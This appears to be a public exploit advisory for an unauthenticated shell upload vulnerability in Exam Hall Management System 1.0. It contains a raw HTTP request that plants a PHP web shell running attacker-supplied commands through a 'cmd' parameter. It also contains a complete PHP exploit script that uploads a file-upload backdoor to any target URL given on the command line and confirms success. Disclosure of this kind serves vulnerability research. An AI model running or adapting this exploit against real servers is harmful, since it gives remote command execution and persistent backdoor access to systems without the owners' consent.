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Exam Hall Management System 1.0 Shell Upload

Exam Hall Management System 1.0 Shell Upload
Posted Jul 6, 2021
Authored by Thamer Almohammadi

Exam Hall Management System version 1.0 suffers from an unauthenticated remote shell upload vulnerability.

tags | exploit, remote, shell
MD5 | ee9e3fa29a87a987f88bfe2690b24db2

Exam Hall Management System 1.0 Shell Upload

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# Exploit Title: Exam Hall Management System 1.0 - Unrestricted File Upload (Unauthenticated)
# Date: 06/07/2021
# Exploit Author: Thamer Almohammadi (@Thamerz88)
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14205/exam-hall-management-system-full-source-code-using-phpmysql.html
# Version: 1.0
# Tested on: Kali Linux

# Proof of Concept :

1- Send Request to /pages/save_user.php.
2- Find your shell.php file path and try any command.


################################## REQUEST ###############################
POST /pages/save_user.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------3767690350396265302394702877
Content-Length: 369
-----------------------------3767690350396265302394702877
Content-Disposition: form-data; name="image"; filename="shell.php"
Content-Type: application/x-php
<?php

system($_GET['cmd']);

?>
-----------------------------3767690350396265302394702877

Content-Disposition: form-data; name="btn_save"

-----------------------------3767690350396265302394702877--




################################## RESPONSE #############################
HTTP/1.1 200 OK
Date: Tue, 06 Jul 2021 02:16:18 GMT
Server: Apache/2.4.47 (Unix) OpenSSL/1.1.1k PHP/7.3.28 mod_perl/2.0.11 Perl/v5.32.1
X-Powered-By: PHP/7.3.28
Content-Length: 1529
Connection: close
Content-Type: text/html; charset=UTF-8



################################## Exploit #############################
<?php
// Coder By Thamer Almohammadi(@Thamerz88);
function exploit($scheme,$host,$path,$shell){
$url=$scheme."://".$host.$path;
$content='<form enctype="multipart/form-data" method="POST"><input type="hidden" name="MAX_FILE_SIZE" value="512000" />File To Upload : <input name="userfile" type="file" /><input type="submit" value="Upload"/></form><?php $uploaddir = getcwd ()."/";$uploadfile = $uploaddir . basename ($_FILES[\'userfile\'][\'name\']);if (move_uploaded_file ($_FILES[\'userfile\'][\'tmp_name\'], $uploadfile)){echo "File was successfully uploaded.</br>";}else{echo "Upload failed";}?>';
$data = "-----------------------------3767690350396265302394702877\r\n";
$data .= "Content-Disposition: form-data; name=\"image\"; filename=\"$shell\"\r\n";
$data .= "Content-Type: image/gif\r\n\r\n";
$data .= "$content\r\n";
$data .= "-----------------------------3767690350396265302394702877\r\n";

$data .= "-----------------------------3767690350396265302394702877\r\n";
$data .= "Content-Disposition: form-data; name=\"btn_save\"\r\n\r\n";
$data .= "\r\n";
$data .= "-----------------------------3767690350396265302394702877\r\n";

$packet = "POST $path/pages/save_user.php HTTP/1.0\r\n";
$packet .= "Host: $host\r\n";
$packet .= "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:29.0) Gecko/20100101 Firefox/29.0\r\n";
$packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*\/*;q=0.8\r\n";
$packet .= "Accept-Language: en-us,en;q=0.5\r\n";
$packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=---------------------------3767690350396265302394702877\r\n";
$packet .= "Content-Length: ".strlen ($data)."\r\n\r\n\r\n";
$packet .= $data;
$packet .= "\r\n";
send($host, $packet);
sleep(2);
check($url,$shell);
}
function send($host, $packet)
{
if ($connect = @fsockopen ($host, 80, $x, $y, 3))
{
@fputs ($connect, $packet);
@fclose ($connect);
}

}

function check($url,$shell){
$check=file_get_contents($url."/uploadImage/Profile/".$shell);
$preg=preg_match('/(File To Upload)/', $check, $output);
if($output[0] == "File To Upload"){
echo "[+] Upload shell successfully.. :D\n";
echo "[+] Link ". $url."/uploadImage/Profile/".$shell."\n";
}
else{ //Exploit Failed
echo "[-] Exploit Failed..\n";
}


}
$options=getopt("u:s:");
if(!isset($options['u'], $options['s']))
die("\n [+] Simple Exploiter Exam Hall Management System by T3ster \n [+] Usage : php exploit.php -u http://target.com -s shell.php\n
-u http://target.com = Target URL ..
-s shell.php = Shell Name ..\n\n");
$url=$options["u"];
$shell=$options["s"];
$parse=parse_url($url);
$host=$parse['host'];
$path=$parse['path'];
$scheme=$parse['scheme'];
exploit($scheme,$host,$path,$shell);

?>
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